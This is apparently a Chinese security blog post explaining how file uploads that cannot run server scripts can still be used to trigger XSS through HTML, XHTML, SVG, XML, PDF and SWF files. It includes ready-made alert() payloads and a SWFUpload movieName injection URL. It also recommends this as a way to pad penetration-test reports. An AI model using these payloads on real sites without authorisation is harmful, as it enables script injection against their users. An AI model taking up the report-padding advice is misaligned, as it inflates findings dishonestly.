【技术分享】文件上传XSS漏洞的利用方式

【技术分享】文件上传XSS漏洞的利用方式

原创 剁椒Muyou鱼头 剁椒Muyou鱼头 2025-01-02 00:30

阅读须知


本公众号文章皆为网上公开的漏洞,仅供日常学习使用,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把剁椒Muyou鱼头
“设为星标”,否则可能就看不到了啦!


2025/01/02 星期四

多云·东北风3级

//01 无法解析利用的废弃文件上传漏洞

在日常渗透测试中,会发现各种上传功能点,首先会测试利用是否存在文件上传漏洞,上传与网站脚本语言相对应的恶意代码动态脚本(如jsp、asp、php、aspx文件后缀)到服务器上,一旦这些脚本被Web容器解释并执行,就能访问这些脚本中包含的恶意代码,达到执行恶意代码的效果。

但是,在实际渗透测试中经常会发现一些无法解析的上传点,或者严格限制了上传文件的后缀名的上传点。这种漏洞在攻防演练中或许可以直接放弃,但是在一些特定的工作下,比如就是需要凑点漏洞写写报告,可以尝试上传一些可以解析XSS漏洞的文件,在报告里写一个XSS跨站脚本漏洞。

//02 可以解析XSS漏洞的文件后缀

序号
后缀文件
如何触发
1
HTML后缀文件
新建含有xss语句的html文件上传即可
2
XHTML后缀文件
新建含有xss语句的xhtml文件上传即可
3
SVG后缀文件
新建含有xss语句的svg文件上传即可
4
XML后缀文件
新建含有xss语句的xml文件上传即可
5
PDF后缀文件
在JavaScript中插入xss语句保存pdf上传即可
6
SWF后缀文件
上传swfupload.swf文件构造指定语句触发

//03 文件上传XSS漏洞测试

HTML后缀文件

<html>
<head>
<body><p></p></body>
<img src="1" onerror="alert('/xss/')">
</head>
</html>

XHTML后缀文件

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
</head>
<body>
<img src="1" onerror="alert('/xss/')">
</body>
</html>

SVG后缀文件

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(/xss/);
</script>
</svg>

XML后缀文件

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(/xss/);
</something:script>
</body>
</html>

PDF后缀文件

1.启动迅捷 PDF 编辑器打开一个 PDF 文件,或者使用“创建 PDF 文件”功能,通过将其他文档和资源转换为“可移植文档格式”来创建 PDF 文件。

2.单击左侧的“页面”标签,选择与之对应的页面缩略图,然后从选项下拉菜单中选择“页面属性”命令。

3.在“页面属性”对话框单击“动作”标签,再从“选择动作”下拉菜单中选择“运行 JavaScript”命令,然后单击【添加】按钮,弹出 JavaScript 编辑器对话框。

4.在弹出的“JavaScript 编辑器”对话框中输入代码:app.alert(‘XSS’);保存关闭,直接打开刚才保存的 PDF 文件,JavaScript 代码即被执行。

SWF后缀文件

如果可以上传swf文件的话,可以利用SWFUpload 2.2.x版本存在XSS漏洞进行触发。一般很少碰到可以允许上传swf文件的情况。

1.首先上传swfupload.swf文件,下面附上了下载地址。

https://codeload.github.com/ntulip/swfupload-jquery-plugin/zip/refs/heads/master

2.将swfupload.swf文件进行上传,然后构造以下POC进行触发XSS漏洞。

swfupload.swf?movieName="%5d%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28/xss/%29;//

//04 总结

本文讲述了在无法解析利用的废弃文件上传漏洞的前提下,去触发XSS漏洞,来进行水报告的一种思路方式。但是在实际渗透测试和SRC挖掘时的确碰到过上传HTML文件触发XSS漏洞,被确认为XSS存储漏洞给奖励的,但是大多数的SRC厂商都是不收的,不过项目上水报告很好用。

END 

作者 | 剁椒Muyou鱼头

I like you,but just like you.

我喜欢你,仅仅如此,喜欢而已~

**点赞在看不迷路哦!